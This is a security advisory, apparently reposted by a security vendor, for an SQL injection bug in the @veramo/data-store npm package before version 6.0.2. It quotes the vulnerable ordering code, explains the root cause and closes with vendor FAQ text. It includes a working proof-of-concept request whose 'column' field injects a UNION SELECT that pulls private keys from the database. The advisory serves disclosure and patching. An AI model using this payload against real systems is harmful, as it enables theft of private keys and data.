GHSA-38CW-85XC-XR9X

An SQL injection vulnerability exists in the @veramo/data-store package that allows any authenticated user to execute arbitrary SQL queries against the database. The vulnerability is caused by insufficient validation of the column parameter in the order array of query requests.

Details

packages/data-store/src/data-store-orm.ts (lines 416-434)

The vulnerability exists in the decorateQB() function which processes query ordering parameters:

function decorateQB(
  qb: SelectQueryBuilder<any>,
  tableName: string,
  input: FindArgs<any>,
): SelectQueryBuilder<any> {
  if (input?.skip) qb = qb.offset(input.skip)
  if (input?.take) qb = qb.limit(input.take)

  if (input?.order) {
    for (const item of input.order) {
      qb = qb.addSelect(
        qb.connection.driver.escape(tableName) + '.' + qb.connection.driver.escape(item.column),
        item.column,
      )
      qb = qb.orderBy(qb.connection.driver.escape(item.column), item.direction)
    }
  }
  return qb
}

Root Cause:

1. The item.column value from user input is passed directly as the alias parameter to addSelect() without any sanitization or validation
2. While TypeScript defines allowed column types (e.g., TCredentialColumns = 'context' | 'type' | ...), this is only compile-time checking
3. At runtime, the function accepts FindArgs<any>, allowing arbitrary strings to bypass type restrictions
4. TypeORM inserts the alias directly into the SQL query, enabling SQL injection

Affected Endpoints:

All endpoints are located in packages/data-store/src/data-store-orm.ts:

All these methods call decorateQB() which processes the vulnerable order parameter.

PoC

Prerequisites:

• A running Veramo agent with the REST API exposed (e.g., via @veramo/remote-server)
• Valid authentication credentials (Bearer token)
• The agent uses @veramo/data-store with a SQLite or compatible database

Example Exploit to Extract Private Keys From DB:

POST /agent/dataStoreORMGetVerifiableCredentialsByClaims HTTP/1.1
Host: localhost:3332
Content-Length: 811
Authorization: Bearer test123
Content-Type: application/json

{ "where":[
    {
      "value": [
        "string"
      ],
      "not": true,
      "op": "foo",
"column":"bar"
    }
  ],
 
  "skip": 0,
  "take": 11111232323230,
"order": [
    {
      "direction": "ASC","column":"issuanceDate\" AS \"issuanceDate\" FROM \"claim\" \"claim\" LEFT JOIN \"identifier\" \"issuer\" ON \"issuer\".\"did\"=\"claim\".\"issuerDid\"  LEFT JOIN \"identifier\" \"subject\" ON \"subject\".\"did\"=\"claim\".\"subjectDid\"  LEFT JOIN \"credential\" \"credential\" ON \"credential\".\"hash\"=\"claim\".\"credentialHash\" where not(claim.isObj in (?)) and 1=0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,(SELECT json_object('alias', alias, 'type', type, 'privateKeyHex', privateKeyHex) ),22,23,24,25,26,27,28,29 from `private-key`-- -"
    }
  ]
}

similar exploit could be used against the other affected endpoints

Attack capabilities:

• Complete database read access
• Reading or write files into fs depending on dbms used
• Database-specific escalation paths
• Dos through timebased or multiple long running queries

Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.

GHSA-38CW-85XC-XR9X has a CVSS score of 6.8 (Medium). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (6.0.2); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is GHSA-38CW-85XC-XR9X? GHSA-38CW-85XC-XR9X is a medium-severity SQL injection vulnerability in @veramo/data-store (npm), affecting versions < 6.0.2. It is fixed in 6.0.2. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
2. How severe is GHSA-38CW-85XC-XR9X? GHSA-38CW-85XC-XR9X has a CVSS score of 6.8 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @veramo/data-store are affected by GHSA-38CW-85XC-XR9X? @veramo/data-store (npm) versions < 6.0.2 is affected.
4. Is there a fix for GHSA-38CW-85XC-XR9X? Yes. GHSA-38CW-85XC-XR9X is fixed in 6.0.2. Upgrade to this version or later.
5. Is GHSA-38CW-85XC-XR9X exploitable, and should I be worried? Whether GHSA-38CW-85XC-XR9X is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-38CW-85XC-XR9X is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-38CW-85XC-XR9X? Upgrade @veramo/data-store to 6.0.2 or later.